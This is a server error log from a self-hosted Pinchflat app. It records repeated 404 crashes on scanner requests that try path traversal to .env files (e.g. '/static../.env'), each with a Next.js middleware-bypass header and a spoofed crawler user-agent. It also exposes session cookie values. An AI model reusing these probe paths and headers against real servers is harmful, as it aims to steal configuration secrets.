"https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/media../.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61hCO6i7Vp1IABwYh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29775.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/media../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34400}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /media../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29775.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/media../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34400}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: (truncated) 16:49:09.095 [error] #PID<0.29776.0> running PinchflatWeb.Endpoint (connection #PID<0.29774.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /static../.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29774.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34390}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29776.0>, params: %{}, path_info: ["static..", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/static../.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61hCO0KB27HQAAICD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29774.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34390}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29774.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34390}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined } (truncated) 16:49:09.203 [info] GET /files../.env 16:49:09.203 [debug] QUERY OK source="settings" db=0.1ms idle=109.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.203 [debug] QUERY OK source="settings" db=0.0ms idle=109.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.203 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.204 [error] #PID<0.29779.0> running PinchflatWeb.Endpoint (connection #PID<0.29778.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /files../.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /files../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29778.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/files../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34402}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29779.0>, params: %{}, path_info: ["files..", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/files../.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61hcNUWQ22kEAAICj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29778.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/files../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34402}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /files../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29778.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/files../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34402}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: (truncated) 16:49:09.227 [info] GET /images../.env 16:49:09.227 [debug] QUERY OK source="settings" db=0.0ms idle=132.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.227 [debug] QUERY OK source="settings" db=0.0ms idle=132.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.227 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.227 [error] #PID<0.29781.0> running PinchflatWeb.Endpoint (connection #PID<0.29780.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /images../.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /images../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29780.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/images../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34412}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29781.0>, params: %{}, path_info: ["images..", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/images../.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61hh9IUiMEqcABwZB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29780.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/images../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34412}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /images../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29780.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/images../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34412}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", s (truncated) 16:49:09.241 [info] GET /uploads../.env 16:49:09.241 [debug] QUERY OK source="settings" db=0.0ms idle=146.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.241 [debug] QUERY OK source="settings" db=0.0ms idle=38.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", 